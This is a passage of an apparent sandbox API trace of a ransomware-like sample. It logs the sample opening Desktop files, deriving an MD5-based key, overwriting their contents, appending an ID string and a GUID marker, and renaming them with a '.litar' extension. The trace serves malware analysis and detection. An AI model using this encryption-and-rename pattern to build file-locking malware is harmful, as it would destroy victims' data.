(hHash=0x306c8e0) returned 1 [0125.149] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.149] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.149] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c10) returned 0x30fa0b0 [0125.149] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.150] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.150] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x12c06, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x12c06, lpOverlapped=0x0) returned 1 [0125.150] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.150] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12c0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.150] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.150] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.150] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.150] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.150] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.150] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.150] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.150] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.150] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.150] CloseHandle (hObject=0x624) returned 1 [0125.151] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.151] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.151] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.151] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C6eN8spyaXs9O5N.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6en8spyaxs9o5n.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C6eN8spyaXs9O5N.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6en8spyaxs9o5n.wav.litar")) returned 1 [0125.152] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.152] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.153] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.153] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0125.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.153] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98c726f0, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x46ca3930, ftLastAccessTime.dwHighDateTime=0x1d4d00c, ftLastWriteTime.dwLowDateTime=0x46ca3930, ftLastWriteTime.dwHighDateTime=0x1d4d00c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eyzvk3aytLrTvd", cAlternateFileName="EYZVK3~1")) returned 1 [0125.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083fb8 [0125.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30750e0 | out: hHeap=0x5c0000) returned 1 [0125.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751b0 | out: hHeap=0x5c0000) returned 1 [0125.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3061720 | out: hHeap=0x5c0000) returned 1 [0125.154] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0125.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0125.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.154] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4446710, ftCreationTime.dwHighDateTime=0x1d4cb28, ftLastAccessTime.dwLowDateTime=0xd8f1d8b0, ftLastAccessTime.dwHighDateTime=0x1d4cccc, ftLastWriteTime.dwLowDateTime=0xd8f1d8b0, ftLastWriteTime.dwHighDateTime=0x1d4cccc, nFileSizeHigh=0x0, nFileSizeLow=0xb480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iMKYkmcr3Dm3Fk6ffK.ots", cAlternateFileName="IMKYKM~1.OTS")) returned 1 [0125.154] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.154] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.154] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iMKYkmcr3Dm3Fk6ffK.ots") returned=".ots" [0125.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iMKYkmcr3Dm3Fk6ffK.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\imkykmcr3dm3fk6ffk.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.154] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=46208) returned 1 [0125.154] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.156] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb45a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.156] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.157] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.157] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.157] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.158] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xb480, lpOverlapped=0x0) returned 1 [0125.158] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.158] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.158] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.158] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.159] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.159] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.159] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.159] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.159] GetLastError () returned 0x0 [0125.159] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.159] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb480) returned 0x30fa0b0 [0125.160] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.160] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xb47b, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xb47b, lpOverlapped=0x0) returned 1 [0125.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.160] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb480, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.160] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.160] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.160] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.160] CloseHandle (hObject=0x624) returned 1 [0125.161] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.161] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.161] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.161] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iMKYkmcr3Dm3Fk6ffK.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\imkykmcr3dm3fk6ffk.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iMKYkmcr3Dm3Fk6ffK.ots.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\imkykmcr3dm3fk6ffk.ots.litar")) returned 1 [0125.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.162] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.163] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ea1a00, ftCreationTime.dwHighDateTime=0x1d4d5a4, ftLastAccessTime.dwLowDateTime=0xf5918ec0, ftLastAccessTime.dwHighDateTime=0x1d4ca3d, ftLastWriteTime.dwLowDateTime=0xf5918ec0, ftLastWriteTime.dwHighDateTime=0x1d4ca3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iN9wXlo7M3", cAlternateFileName="IN9WXL~1")) returned 1 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa8) returned 0x2fd8818 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30751b0 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30750e0 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083fb8 | out: hHeap=0x5c0000) returned 1 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083fb8 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.163] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41193590, ftCreationTime.dwHighDateTime=0x1d4d21e, ftLastAccessTime.dwLowDateTime=0x84a06d90, ftLastAccessTime.dwHighDateTime=0x1d4ca14, ftLastWriteTime.dwLowDateTime=0x84a06d90, ftLastWriteTime.dwHighDateTime=0x1d4ca14, nFileSizeHigh=0x0, nFileSizeLow=0x14a4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kP8ULRqZpLx.m4a", cAlternateFileName="KP8ULR~1.M4A")) returned 1 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.163] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kP8ULRqZpLx.m4a") returned=".m4a" [0125.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kP8ULRqZpLx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kp8ulrqzplx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.164] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=84557) returned 1 [0125.164] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.165] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14a27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.165] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.169] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.170] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x14a4d, lpOverlapped=0x0) returned 1 [0125.170] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.170] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.171] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.171] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.171] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.171] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.171] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.171] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.171] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.171] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.172] GetLastError () returned 0x0 [0125.172] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.172] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.172] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.172] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14a50) returned 0x30fa0b0 [0125.172] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.172] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.172] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x14a48, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x14a48, lpOverlapped=0x0) returned 1 [0125.172] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.172] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14a4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.173] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.173] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.173] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.173] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.173] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.173] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.173] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.173] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.173] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.173] CloseHandle (hObject=0x624) returned 1 [0125.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.174] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kP8ULRqZpLx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kp8ulrqzplx.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kP8ULRqZpLx.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kp8ulrqzplx.m4a.litar")) returned 1 [0125.175] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.175] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.176] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77274e0, ftCreationTime.dwHighDateTime=0x1d4c982, ftLastAccessTime.dwLowDateTime=0x9288ca10, ftLastAccessTime.dwHighDateTime=0x1d4d3b0, ftLastWriteTime.dwLowDateTime=0x9288ca10, ftLastWriteTime.dwHighDateTime=0x1d4d3b0, nFileSizeHigh=0x0, nFileSizeLow=0x1569b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OXbBkJHSc.ods", cAlternateFileName="OXBBKJ~1.ODS")) returned 1 [0125.176] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.176] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.176] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OXbBkJHSc.ods") 